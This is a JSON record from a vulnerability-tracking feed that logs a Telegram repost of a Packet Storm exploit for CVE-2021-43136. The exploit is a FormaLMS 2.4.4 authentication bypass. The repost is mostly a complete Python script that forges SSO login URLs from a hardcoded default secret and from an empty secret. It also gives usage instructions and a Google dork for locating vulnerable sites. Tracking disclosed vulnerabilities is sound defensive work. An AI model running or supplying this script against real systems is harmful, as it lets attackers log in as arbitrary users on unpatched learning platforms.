{"uuid": "0eb6ecf9-9a7d-44b0-a7a5-8a75a35e62af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-43136", "type": "seen", "source": "https://t.me/hacking_Attack/31012", "content": "Exploit Collector\nFormaLMS 2.4.4 Authentication Bypass\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nFormaLMS versions 2.4.4 and below suffer from an authentication bypass vulnerability.\n\nMD5 | 2b3e4ad97facc1c98739b4b6cc6e66e2\n\nDownload\n# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass\n# Google Dork: inurl:index.php?r=adm/\n# Date: 2021-11-10\n# Exploit Author: Cristian 'void' Giustini @ Hacktive Security\n# Vendor Homepage: https://formalms.org\n# Software Link:  https://formalms.org\n# Version: <=\n# Tested on: Linux\n# CVE : CVE-2021-43136\n\n# Info: An authentication bypass issue in FormaLMS <=\n\n# Analysis:\nhttps://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/\n\n# Nuclei template:\nhttps://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml\n\n#!/usr/bin/env python\n\n\"\"\"\n\nThe following exploit generates two URLs with empty and fixed value of the \"secret\". In order to achieve a successful exploitation the \"Enable SSO with a third party software through a token\" setting needs to be enabled\n\n\"\"\"\n\nimport sys\nimport time\nimport hashlib\n\nsecret = \"8ca0f69afeacc7022d1e589221072d6bcf87e39c\" \n\ndef help():\n\nprint(f\"Usage: {sys.argv[0]} username target_url\")\n\nsys.exit()\nif len(sys.argv) < 3:\n\nhelp()\n\nuser, url = (sys.argv[1], sys.argv[2])\nt = str(int(time.time()) + 5000)\ntoken = hashlib.md5(f\"{user},{t},{secret}\".encode()).hexdigest().upper()\nfinal_url = f\"{url}/index.php?login_user={user}&time={t}&token={token}\"\nprint(f\"URL with default secret: {final_url}\")\ntoken = hashlib.md5(f\"{user},{t},\".encode()).hexdigest().upper()\nfinal_url = f\"{url}/index.php?login_user={user}&time={t}&token={token}\"\nprint(f\"URL with empty secret: {final_url}\")\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:10.517642Z"}